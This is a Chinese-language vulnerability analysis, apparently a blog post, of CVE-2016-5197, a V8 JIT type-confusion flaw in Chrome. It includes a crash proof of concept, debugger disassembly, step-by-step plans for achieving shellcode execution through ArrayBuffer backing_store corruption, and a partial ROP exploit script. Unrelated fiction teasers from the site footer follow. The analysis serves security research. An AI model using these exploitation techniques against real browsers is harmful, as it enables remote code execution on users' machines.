CVE-2016-5197 漏洞分析

漏洞概览

漏洞是由于 v8 优化后的 JIT 代码没有对全局对象进行类型校验造成的,通过 JIT 代码操作未校验的全局对象可以达到越界读写

漏洞详情

漏洞样本

<script>
function Ctor() {
    n = new Set();
}
function Check() {
    n.xyz = 0x826852f4;
}
for(var i=0; i<10000; ++i) {
    Ctor();
}
for(var i=0; i<10000; ++i) {
    Check();
}

var n;
Ctor();
Check();
parseInt('AAAAAAAA')   // trigger crash
</script>

漏洞成因

阅读上述的漏洞样本,可大体得知漏洞触发的流程。

  • 样本首先创建两个函数 Ctor()Check()Ctor() 函数为全局变量 n 赋值;Check() 函数设置全局变量 n 的自定义域 xyz
  • 多次重复调用 Ctor()Check(),使得 v8 引擎开始对这两个函数进行编译优化(Crankshaft)
  • 创建全局变量 n
  • 调用 Ctor() 重新设置全局变量 n 的值
  • 调用 Check() 设置 n 的自定义域 xyz
  • 调用 *parseInt('AAAAAAAA') * 触发漏洞

乍一看漏洞触发流程会让人觉得一头雾水,摸不着头脑。其实这个漏洞的触发涉及到 v8 对象在内存中的存储问题。下面我们通过一步一步的分析理清该漏洞的触发流程

第一个需要理解的问题是 v8 对于 整型 的存储。v8 引擎在设计内存存储时,为了将对象指针和其他数据区分,使用 tag Object 技术:_ v8 中所有的对象指针最后一位均被设置成 1_。此时 整型 就需要进行左移来防止奇数数字可能产生的干扰。于是数字在 v8 内存中存储时会左移一位,如 0x1000 在内存中就会变成 0x2000。而当 整型 的最高数据位为 1 时(0x40000000),左移便会造成整数溢出(0x40000000 << 1 = -2147483648),这时 v8 将以 Number 对象的形式将大于 0x4000000 的整型以浮点数形式存储在内存中。

样本中数据 0x826852f4 会被转化为浮点数进行赋值,相应的代码为

07318742 8b4007          mov     eax,dword ptr [eax+7] 
07318745 b90000805e      mov     ecx,5E800000h
0731874a 660f6ec9        movd    xmm1,ecx
0731874e b90a4de041      mov     ecx,41E04D0Ah

可以在内存中搜索这段二进制数据来定位 JIT 产生的代码
8b 40 07 b9 00 00 80 5e 66 0f 6e c9 b9 0a 4d e0

搜索得到的代码如下,为 Check() 函数编译优化之后的结果,关键部分的含义已在注释中说明,可以看到 Check() 在对 nxyz 域进行操作时,直接从全局空间中取出变量,并按照偏移直接操作,期间并未对变量类型、变量自定义属性数组进行任何合法性的校验。

04f67161 89e5            mov     ebp,esp
04f67163 56              push    esi
04f67164 57              push    edi
04f67165 83ec04          sub     esp,4
04f67168 8b45fc          mov     eax,dword ptr [ebp-4]
04f6716b 8945f4          mov     dword ptr [ebp-0Ch],eax
04f6716e 89c6            mov     esi,eax
04f67170 3b25105d0701    cmp     esp,dword ptr ds:[1075D10h]
04f67176 7305            jae     04f6717d
04f67178 e84378fdff      call    04f3e9c0
04f6717d b8dda4d206      mov     eax,6D2A4DDh          
04f67182 8b4007          mov     eax,dword ptr [eax+7]     // 全局变量 n
04f67185 b90000805e      mov     ecx,5E800000h
04f6718a 660f6ec9        movd    xmm1,ecx
04f6718e b90a4de041      mov     ecx,41E04D0Ah
04f67193 660f3a22c901    pinsrd  xmm1,ecx,1
04f67199 8b4003          mov     eax,dword ptr [eax+3]              // 取 n 的自定义属性数组
04f6719c 8b4007          mov     eax,dword ptr [eax+7]              // 取 n 的 xyz 域
04f6719f f20f114803      movsd   mmword ptr [eax+3],xmm1   // 为 xyz 域赋值 
04f671a4 b8a181e004      mov     eax,4E081A1h
04f671a9 89ec            mov     esp,ebp
04f671ab 5d              pop     ebp
04f671ac c20400          ret     4

函数 Ctor() 对应的部分优化代码如下

04f66b60 8178ff6daa0005  cmp     dword ptr [eax-1],500AA6Dh
04f66b67 0f8538000000    jne     04f66ba5
04f66b6d b9dda4d206      mov     ecx,6D2A4DDh      // 设置全局变量 n 为 新创建的 Set()
04f66b72 894107          mov     dword ptr [ecx+7],eax

因此当 6D2A4DDh 中保存的全局变量为一个全新的对象时,这里的访问便会导致越界写入。

这里第二个需要理解的问题就是 v8 中 js 对象的自定义属性在内存中的情况。以样本中的 Set 对象为例,对象偏移 0x4 的位置保存一 FixedArray 数组指针,用于保存 Set 对象中可能出现的自定义属性,当有发生 Set 对象的自定义属性访问时,v8 直接按照该属性声明的顺序以偏移的形式从对象的 FixedArray 中取出数据完成访问操作。当对象初始化时,由于尚没有其他的自定义属性存在,因此该位置将使用内置对象 empty_fixed_array 进行初始化。(这部分信息可以通过阅读Chrome源码明确的观察到)

在样本中漏洞触发时会将内置对象 empty_fixed_array 取出当作已经有数据的 FixedArray 对象来使用,直接通过偏移计算的方式取 FixedArray 中保存的第一个对象进行操作。这里由于数据 0x826852f4 的关系,会将取出第一个对象指针直接作为 Number 使用。

查看 empty_fixed_array 在内存中的情况,由于其是内置对象,会在 v8 引擎初始化时就和其他内置对象一起被创建,因此其在内存中的相对存储情况是固定的

0:000> dd 04908125 -1
04908124  04b08185 00000000 04b081b1 3043247e
04908134  00000008 6c6c756e 04b081b1 ae4b45da
04908144  0000000c 656a626f 00007463 04b08235

可以看出 empty_fixed_array 其后紧跟的是 null 内置字符串和 object 内置字符串。其中被 Check() 当作 Number 处理的对象指针为 'null' 内置字符串的 map,也即 initial_string 类的 map,其中保存了 initial_string 型对象的的类型、结构等重要信息。这次越界写入操作便会修改这个 map 的信息,造成的结果即使得所有 initial_string 类型的对象都会出现问题。

map 被修改前后对比如下,其中类型的关键结构信息被完全破坏

0:000> dd 04b081b1 -1
04b081b0  04b0812d 00006600 00190004 082003ff
04b081c0  04908101 04908101 00000000 0490811d

0:000> dd 04b081b1 -1
04b081b0  04b0812d 5e800000 41e04d0a 082003ff
04b081c0  04908101 04908101 00000000 0490811d

故而在样本调用 parseInt("AAAAAAAA") 试图将 initial_string 类型的字符串 "AAAAAAAA" 转化为整型时,便会出现问题,导致崩溃。

漏洞利用

该漏洞目前可以实现的有两种利用方法,第一种和 flanker 演讲时所提出的利用思路不同,后来根据 CanSecWest 的PPT 实现了第二种利用方法

FixedArray利用思路

该思路通过越界写自定义 FixedArray 的方式实现利用,相比于上一种方法,该方式更加稳定和优雅,受其他因素干扰也更少
具体的利用步骤为

  • 在调用 Ctor() 为全局变量 n 重新赋值之后,为 n 指定一自定义属性,使 v8 引擎为 n 新建一 FixedArray 。此时新建的 FixedArray 位于内存区块的 new_space 部,所有新分配的对象均处于这个区
  • 新建一 Array 对象,布局于 FixedArray 之后;将 Ctor 作为 Array 的一个成员
  • 新建一 ArrayBuffer 对象,布局于 Array 之后
  • 使用 Check() 函数越界写,由于此时 Array 对象正位于 FixedArray 之后,因此可以越界写 Arraylength 字段,得到一个可以越界操作的 Array
  • 使用该越界 Array 可以进行越界读写操作。由于 ArrayBuffer 对象布局于 Array 对象之后,使用 ArrayArrayBufferbacking_store 修改为 Ctor 的地址。这样就可以使用 ArrayBuffer 修改 Ctor 中已经具有读写执行权限的代码段
  • 将 shellcode 写入 Ctor 的代码段,调用 Ctor() 便可以成功执行 shellcode

null_str利用思路

该思路通过越界写内置对象 null 来进行,相比于前两种方法,这里硬编码的地方更少,看起来也更加优雅
具体的利用步骤为

  • 设定三个全局变量 n,m,l,并使用 Ctor() 函数为这些全局变量赋值,此时要保证这三个全局变量偏移0x4 的位置均是 empty_fixed_array,这里选用了 set,map,ArrayBuffer。(这里若均使用同种对象类型,则优化后的函数代码会相互影响,但是看 Keen 在 Cansewest 上的 PPT 里的说法好像也不会,暂时不懂)
  • 触发漏洞,使用 Hack(obj) 函数通过 n 对象越界写 null_str,修改 null_str 的数据部分为传入的 obj,由于函数优化的关系 v8 会直接将对象放至于指定位置,接着通过调用 null_str.charCodeAt() 便可以逐字节读出对象地址,这里我们通过它泄漏一个 ArrayBuffer,和一个函数对象
  • 再次使用Hack(obj) 函数,将null_str 对象写入其 value 部分
  • 再次触发漏洞,使用 Hack3(addr) 函数通过 m 对象越界写 null_str,此时函数会将 null_str 对象的 value 部分值当作指针来解析,由于之前已经将 null_str 对象写入了, 从而这里可以操作 null_str 对象的 hash 和 length 字段,且可以写入任意值,这里将 ArrayBuffer 的一个偏移写入 length 字段
  • 再次触发漏洞,使用 Hack4(addr) 函数通过 l 对象越界写 null_str,此时函数会将 null_str 对象的 length 值当成一个指针来解析,这里操作的是之前写入的 ArrayBuffer 偏移址,通过该偏移值可以操作到 ArrayBuffer 的 backstore,修改其为 JIT 函数体部分
  • 将 shellcode 写入 JIT 的代码段,调用 该函数便可以成功执行 shellcode

附录

分析和利用过程中使用到的关键数据结构如下

String
String{
    +0x00   map
    +0x04   hash
    +0x08   length
    +0x0C   value
    ......
}
Array
Array{              //大小 0x18 
    +0x00   map
    +0x04   empty_fixed_array
    +0x08   data pointer     // fixed array
    +0x0c   array length
}
FixedArray
FixedArray{      // 大小随数据而定
    +0x00   map
    +0x04   length
    data
}
Uint32Array
Uint32Aray{    //(TypedArray)    大小 0x28
    +0x00   map
    +0x04   empty_fixed_array
    +0x08   ArrayPointer 
    +0x0c   ArrayBuffer Pointer
    +0x10   0
    +0x14   ArrayBuffer size
    +0x18   NaN
    +0x1c   ArrayLength
    +0x20   0
    +0x24   0
}
ArrayBuffer
ArrayBuffer{    //  大小 0x20
    +0x00   map
    +0x04   empty_fixed_array
    +0x08   empty_fixed_array
    +0x0c   buffer_size
    +0x10   backing_store
    +0x14   4
    +0x18   0
    +0x1c   0
}
map
map{        //  大小 0x2c
    +0x00   map
    +0x04   istance_size    // byte
    +0x05   InObjectProperties_or_ConstructorFunctionIndex      //byte
    +0x06   unused
    +0x07   visitorId       //byte
    +0x08   instance_type   //byte
    +0x09   bit_field       //byte
    +0x0a   bit_field2      //byte
    +0x0b   unused
    +0x0c   bit_field3      //byte
    +0x10   prototype   
    +0x14   constructor 
    +0x18   transitor_or_protytypeInfo
    +0x1c   discriptor
    +0x20   CodeCache
    +0x24   DependentCode
    +0x28   WeakCellCache
}

ROP利用思路

该思路系从原始样本中直接衍生联想而来,通过修改 initial_string 类型,可将字符串类型从 one_byte_string 修改为 two_byte_string,从而使用该字符串便可以越界读取其后布置的对象信息,实现信息泄漏,通过泄漏出的信息构建 ROP 链,布局在内存中。接着将字符串类型从 one_byte_string 修改为 external_string ,这样便可以控制 EIP 劫持程序流程。该思路在实际使用过程中遇到了一些问题,尚未实现利用,具体的方法还在思考中。
具体的利用思路为

  • 修改 initial_string map,将字符串类型从 one_byte_string 修改为 two_byte_string,使用 charCodeAt 函数泄漏刚刚布局的 initial_string 对象后面的数据地址
  • 修改 initial_string map,将字符串类型从 one_byte_string 修改为 external_string,使用 charCodeAt 读取泄露对象的内部敏感数据,进一步计算出相对应的模块基址
  • 通过泄漏出的模块基址构造 ROP 链,使用堆喷射或者其他方法,将 ROP + shellcode 布局在堆上的已知位置
  • 修改 initial_string map,将字符串类型从 one_byte_string 修改为 external_string,使用 paseInt 控制 EIP 跳转到布局的 ROP 中

ROP 利用代码

<html>
<script>
function Ctor() {
    n = new Set();  
}

function Leak() {
    n.xyz = 3.4766779122194493e-308;  // string to unicode
    return "AAAABBBBCCCCAAAA".charCodeAt(12).toString(16)    // over read
}

function Read() {
    n.xyz = 3.4766991238883129e-308;  // string to exteral_string
    return "addr".charCodeAt(0).toString(16)     // abtrary read    
}

function Recovery() {
    n.xyz = 3.4766863919135671e-308;
}

function Control() {
    n.xyz = 3.4766991238883129e-308;  // string to exteral_string
    ParseInt("addr"); // call [addr]+c
}

for(var i=0; i<10000; ++i) {
    Ctor();
}
for(var i=0; i<10000; ++i) {
    Leak();
}
for(var i=0; i<10000; ++i) {
    Read();
}
for(var i=0; i<10000; ++i) {
    Recovery();
}
for(var i=0; i<10000; ++i) {
    Control();
}

var n 
</script>
</html>
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 140,386评论 1 295
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 60,319评论 1 254
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 92,325评论 0 206
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 40,558评论 0 171
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 48,200评论 1 249
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 38,496评论 1 167
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 30,191评论 2 265
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 28,971评论 0 161
  • 想象着我的养父在大火中拼命挣扎,窒息,最后皮肤化为焦炭。我心中就已经是抑制不住地欢快,这就叫做以其人之道,还治其人...
    爱写小说的胖达阅读 28,688评论 6 223
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 32,330评论 0 211
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,098评论 2 211
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 30,412评论 1 222
  • 白月光回国,霸总把我这个替身辞退。还一脸阴沉的警告我。[不要出现在思思面前, 不然我有一百种方法让你生不如死。]我...
    爱写小说的胖达阅读 24,116评论 0 31
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 26,937评论 2 206
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 31,314评论 3 200
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,558评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 25,879评论 0 162
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 33,275评论 2 226
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 33,386评论 2 228

推荐阅读更多精彩内容

  • 漏洞概述 该漏洞是一个验证不严格导致的 UAF 漏洞,漏洞样本和原因在 P0 网站上都能找到 Issue 983 ...
    o_0xF2B8F2B8阅读 1,303评论 0 0
  • 国家电网公司企业标准(Q/GDW)- 面向对象的用电信息数据交换协议 - 报批稿:20170802 前言: 排版 ...
    庭说阅读 10,322评论 6 13
  • 1. Java基础部分 基础部分的顺序:基本语法,类相关的语法,内部类的语法,继承相关的语法,异常的语法,线程的语...
    子非鱼_t_阅读 31,245评论 18 399
  • 本文目录 简介 Napi简介 铁打的hello_world 关于文件头 关于基础数据类型 关于错误处理 关于异常处...
    被叫做逸轩的可儿阅读 6,903评论 1 1
  • 第一章 Nginx简介 Nginx是什么 没有听过Nginx?那么一定听过它的“同行”Apache吧!Ngi...
    JokerW阅读 32,400评论 24 1,003